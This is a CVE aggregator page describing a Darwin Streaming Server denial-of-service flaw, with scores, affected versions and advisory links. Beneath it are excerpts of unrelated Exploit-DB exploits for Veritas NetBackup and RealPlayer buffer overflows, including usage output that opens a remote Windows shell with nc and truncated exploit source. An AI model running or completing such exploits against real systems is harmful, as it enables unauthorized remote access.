CVE-2005-2195
published 2005-07-18CVE-2005-2195: Apple Darwin Streaming Server 5.5 and earlier allows remote attackers to cause a denial of service (application crash) via a URL with a filename containing a…
PriorityP415medium5CVSS 2.0
AVNACLAuNCNINAP
EPSS
1.56%
72.5th percentile
Apple Darwin Streaming Server 5.5 and earlier allows remote attackers to cause a denial of service (application crash) via a URL with a filename containing a .cgi extension and an MS-DOS device name such as AUX, CON, PRN, COM1, or LPT1, a different vulnerability than CVE-2003-0421 and CVE-2003-0502.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | darwin_streaming_server | <= 5.5 | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Veritas NetBackup 4/5 - Volume Manager Daemon Remote Buffer Overflow
exploitdb·2006-01-16
CVE-2005-3116 Veritas NetBackup 4/5 - Volume Manager Daemon Remote Buffer Overflow
Veritas NetBackup 4/5 - Volume Manager Daemon Remote Buffer Overflow
---
/*
DESCRIPTION
Veritas NetBackup Stack Overflow (tcp/13701)
"Volume Manager Daemon" Module
Advisories
http://www.idefense.com/intelligence/vulnerabilities/display.php?id=336
http://www.frsirt.com/english/advisories/2005/2349
USAGE
C:\NetBackup>nb 192.168.0.2 4444 192.168.0.200 0
Veritas NetBackup v4/v5 "Volume Manager Daemon" Stack Overflow.
Sending first buffer.
Sending second buffer.
C:\NetBackup>nc 192.168.0.200 4444
Microsoft Windows 2000 [versie 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
INFORMATION
I wrote this just for educational purposes :).
Because the buffer is only very small, I had to write small shellcode.
The code is less than 100 bytes, and there are 6 bytes left.
Exploit-DB
RealNetworks RealPlayer 10 - '.smil' Local Buffer Overflow
exploitdb·2005-03-07
CVE-2005-0455 RealNetworks RealPlayer 10 - '.smil' Local Buffer Overflow
RealNetworks RealPlayer 10 - '.smil' Local Buffer Overflow
---
/* RealPlayer .smil file buffer overflow
Coded by nolimit@CiSO & Buzzdee
greets to COREiSO & #news & flare & class101 & ESI & RVL & everyone else I forget
This uses a seh overwrite method, which takes advantage of the SEH being placed
in multiple locations over the different OS's. Because of this, it should be
completely universal. :).
Also, we added SEH for enterprise and Standard, if you have a diff 2k3 then deal with it and write your own in.
C:\tools>nc -vv SERVER 1554
SERVER [192.168.1.93] 1554 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Program Files\Real\RealPlayer>
*/
#include
#include
#include
char pre[]=
"\n"
" \n"
" \n"
" \n"
" \n"
" \n"
" \n"
" "
"";
char ove
No writeups or analysis indexed.
http://marc.info/?l=bugtraq&m=112126999514361&w=2http://secunia.com/advisories/16056http://securitytracker.com/id?1014474http://secway.org/Advisory/AD20050713.txthttp://marc.info/?l=bugtraq&m=112126999514361&w=2http://secunia.com/advisories/16056http://securitytracker.com/id?1014474http://secway.org/Advisory/AD20050713.txt
2005-07-18
Published